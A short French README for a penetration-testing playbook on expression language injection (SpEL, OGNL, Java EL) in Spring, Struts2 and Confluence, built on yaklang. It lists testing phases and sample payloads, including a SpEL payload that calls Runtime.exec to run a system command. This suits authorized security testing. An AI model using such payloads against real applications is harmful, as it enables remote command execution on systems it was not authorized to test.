Que fait injection-de-langage-d-expression ?
Playbook d'injection de langage d'expression. À utiliser lorsque des expressions Java EL, SpEL, OGNL ou MVEL peuvent évaluer une entrée contrôlée par un attaquant dans Spring, Struts2, Confluence ou des frameworks similaires.
Vue d'ensemble
Ce playbook fournit une méthodologie standardisée pour tester et exploiter les vulnérabilités d'injection de langage d'expression. Il couvre les étapes suivantes :
- Identification : Détection des points d'entrée potentiels où les expressions sont évaluées.
- Fuzzing : Envoi de payloads de base pour confirmer la vulnérabilité.
- Exploitation : Construction de payloads avancés pour exécuter des commandes, lire des fichiers, ou effectuer des actions arbitraires.
- Contournement : Techniques pour bypasser les filtres de sécurité courants.
Utilisation
Prérequis
- yaklang installé sur votre système.
- Accès à l'application cible à des fins de test autorisé.
Exécution
yak run injection-EL
Exemples de payloads
SpEL (Spring Expression Language)
${7*7}
#{7*7}
${T(java.lang.Runtime).getRuntime().exec('id')}
OGNL (Object-Graph Navigation Language)
${7*7}
#{"mult"+"iply"}
EL (Expression Language)
${7*7}
${request.getAttribute("org.apache.catalina.jsp_file")}
Ressources
Licence
Ce playbook est distribué sous licence MIT. Voir le fichier LICENSE pour plus de détails.